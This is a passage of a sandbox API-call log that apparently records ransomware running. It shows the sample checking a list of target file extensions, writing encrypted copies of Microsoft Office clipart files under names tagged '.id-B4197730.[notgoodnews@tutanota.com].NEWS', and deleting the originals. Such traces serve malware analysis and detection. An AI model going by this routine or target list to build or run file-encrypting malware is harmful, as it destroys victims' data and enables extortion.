Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.104] lstrlenW (lpString=".doc") returned 4 [0086.104] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.104] lstrlenW (lpString=".docx") returned 5 [0086.104] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.104] lstrlenW (lpString=".pdf") returned 4 [0086.104] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.104] lstrlenW (lpString=".xls") returned 4 [0086.104] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.104] lstrlenW (lpString=".xlsx") returned 5 [0086.104] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.104] lstrlenW (lpString=".ppt") returned 4 [0086.104] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.104] lstrlenW (lpString=".zip") returned 4 [0086.104] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.104] lstrlenW (lpString=".rar") returned 4 [0086.104] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.104] lstrlenW (lpString=".bz2") returned 4 [0086.104] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.104] lstrlenW (lpString=".7z") returned 3 [0086.104] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.105] lstrlenW (lpString=".dbf") returned 4 [0086.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.105] lstrlenW (lpString=".1cd") returned 4 [0086.105] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.105] lstrlenW (lpString=".jpg") returned 4 [0086.105] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.105] lstrlenW (lpString=".doc") returned 4 [0086.105] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.105] lstrlenW (lpString=".docx") returned 5 [0086.105] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.105] lstrlenW (lpString=".pdf") returned 4 [0086.105] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.105] lstrlenW (lpString=".xls") returned 4 [0086.105] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.105] lstrlenW (lpString=".xlsx") returned 5 [0086.105] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.105] lstrlenW (lpString=".ppt") returned 4 [0086.105] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.105] lstrlenW (lpString=".zip") returned 4 [0086.105] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.105] lstrlenW (lpString=".rar") returned 4 [0086.105] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.105] lstrlenW (lpString=".bz2") returned 4 [0086.105] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.105] lstrlenW (lpString=".7z") returned 3 [0086.105] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.105] lstrlenW (lpString=".dbf") returned 4 [0086.105] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.105] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.105] lstrlenW (lpString=".1cd") returned 4 [0086.106] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00086_.WMF") returned 68 [0086.106] lstrlenW (lpString=".jpg") returned 4 [0086.106] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.106] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.106] lstrlenW (lpString="FD00090_.WMF") returned 12 [0086.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.106] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=14194) returned 1 [0086.106] CloseHandle (hObject=0x308) returned 1 [0086.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 0x220 [0086.106] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0086.107] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.107] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0086.107] GetLastError () returned 0x0 [0086.107] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x3772, lpOverlapped=0x0) returned 1 [0086.397] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x3780, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x3780, lpOverlapped=0x0) returned 1 [0086.398] ReadFile (in: hFile=0x308, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.398] WriteFile (in: hFile=0x384, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.398] SetEndOfFile (hFile=0x384) returned 1 [0086.398] CloseHandle (hObject=0x384) returned 1 [0086.399] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.399] SetEndOfFile (hFile=0x308) returned 1 [0086.399] CloseHandle (hObject=0x308) returned 1 [0086.399] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00090_.wmf")) returned 1 [0086.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.400] lstrlenW (lpString=".doc") returned 4 [0086.400] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.400] lstrlenW (lpString=".docx") returned 5 [0086.400] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.400] lstrlenW (lpString=".pdf") returned 4 [0086.400] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.400] lstrlenW (lpString=".xls") returned 4 [0086.400] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.400] lstrlenW (lpString=".xlsx") returned 5 [0086.400] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.400] lstrlenW (lpString=".ppt") returned 4 [0086.400] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.400] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.401] lstrlenW (lpString=".zip") returned 4 [0086.401] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.401] lstrlenW (lpString=".rar") returned 4 [0086.401] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.401] lstrlenW (lpString=".bz2") returned 4 [0086.401] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.401] lstrlenW (lpString=".7z") returned 3 [0086.401] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.401] lstrlenW (lpString=".dbf") returned 4 [0086.401] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.401] lstrlenW (lpString=".1cd") returned 4 [0086.401] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.401] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.401] lstrlenW (lpString=".jpg") returned 4 [0086.401] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.479] lstrlenW (lpString=".doc") returned 4 [0086.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.479] lstrlenW (lpString=".docx") returned 5 [0086.479] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.479] lstrlenW (lpString=".pdf") returned 4 [0086.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.479] lstrlenW (lpString=".xls") returned 4 [0086.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.480] lstrlenW (lpString=".xlsx") returned 5 [0086.480] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.480] lstrlenW (lpString=".ppt") returned 4 [0086.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.480] lstrlenW (lpString=".zip") returned 4 [0086.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.480] lstrlenW (lpString=".rar") returned 4 [0086.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.480] lstrlenW (lpString=".bz2") returned 4 [0086.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.480] lstrlenW (lpString=".7z") returned 3 [0086.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.480] lstrlenW (lpString=".dbf") returned 4 [0086.480] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.480] lstrlenW (lpString=".1cd") returned 4 [0086.480] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 68 [0086.480] lstrlenW (lpString=".jpg") returned 4 [0086.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.480] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.480] lstrlenW (lpString="FD00544_.WMF") returned 12 [0086.480] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.481] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=5260) returned 1 [0086.481] CloseHandle (hObject=0x378) returned 1 [0086.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 0x220 [0086.484] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.485] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.485] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.485] GetLastError () returned 0x0 [0086.485] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x148c, lpOverlapped=0x0) returned 1 [0086.486] WriteFile (in: hFile=0x39c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1490, lpOverlapped=0x0) returned 1 [0086.487] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.487] WriteFile (in: hFile=0x39c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.488] SetEndOfFile (hFile=0x39c) returned 1 [0086.488] CloseHandle (hObject=0x39c) returned 1 [0086.488] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.488] SetEndOfFile (hFile=0x378) returned 1 [0086.489] CloseHandle (hObject=0x378) returned 1 [0086.489] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.489] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00544_.wmf")) returned 1 [0086.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.490] lstrlenW (lpString=".doc") returned 4 [0086.490] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.490] lstrlenW (lpString=".docx") returned 5 [0086.490] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.490] lstrlenW (lpString=".pdf") returned 4 [0086.490] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.490] lstrlenW (lpString=".xls") returned 4 [0086.490] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.490] lstrlenW (lpString=".xlsx") returned 5 [0086.490] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.490] lstrlenW (lpString=".ppt") returned 4 [0086.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.490] lstrlenW (lpString=".zip") returned 4 [0086.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.490] lstrlenW (lpString=".rar") returned 4 [0086.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.490] lstrlenW (lpString=".bz2") returned 4 [0086.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.490] lstrlenW (lpString=".7z") returned 3 [0086.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.490] lstrlenW (lpString=".dbf") returned 4 [0086.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.490] lstrlenW (lpString=".1cd") returned 4 [0086.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.490] lstrlenW (lpString=".jpg") returned 4 [0086.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.490] lstrlenW (lpString=".doc") returned 4 [0086.491] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.491] lstrlenW (lpString=".docx") returned 5 [0086.491] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0086.491] lstrlenW (lpString=".pdf") returned 4 [0086.491] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0086.491] lstrlenW (lpString=".xls") returned 4 [0086.491] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0086.491] lstrlenW (lpString=".xlsx") returned 5 [0086.491] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0086.491] lstrlenW (lpString=".ppt") returned 4 [0086.491] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0086.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.491] lstrlenW (lpString=".zip") returned 4 [0086.491] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0086.491] lstrlenW (lpString=".rar") returned 4 [0086.491] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0086.491] lstrlenW (lpString=".bz2") returned 4 [0086.491] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0086.491] lstrlenW (lpString=".7z") returned 3 [0086.491] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0086.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.491] lstrlenW (lpString=".dbf") returned 4 [0086.491] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0086.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.491] lstrlenW (lpString=".1cd") returned 4 [0086.491] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0086.491] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00544_.WMF") returned 68 [0086.491] lstrlenW (lpString=".jpg") returned 4 [0086.491] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0086.491] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0086.491] lstrlenW (lpString="FD00564_.WMF") returned 12 [0086.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.492] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=896) returned 1 [0086.492] CloseHandle (hObject=0x378) returned 1 [0086.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 0x220 [0086.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0086.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0086.492] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.492] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0086.492] GetLastError () returned 0x0 [0086.492] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x380, lpOverlapped=0x0) returned 1 [0086.494] WriteFile (in: hFile=0x39c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x390, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x390, lpOverlapped=0x0) returned 1 [0086.495] ReadFile (in: hFile=0x378, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0086.495] WriteFile (in: hFile=0x39c, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0086.495] SetEndOfFile (hFile=0x39c) returned 1 [0086.495] CloseHandle (hObject=0x39c) returned 1 [0086.495] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0086.495] SetEndOfFile (hFile=0x378) returned 1 [0086.496] CloseHandle (hObject=0x378) returned 1 [0086.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0086.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd00564_.wmf")) returned 1 [0086.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00564_.WMF") returned 68 [0086.497] lstrlenW (lpString=".doc") returned 4 [0086.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0086.497] lstrlenW (lpString=".docx") returned 5 [0086.497] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 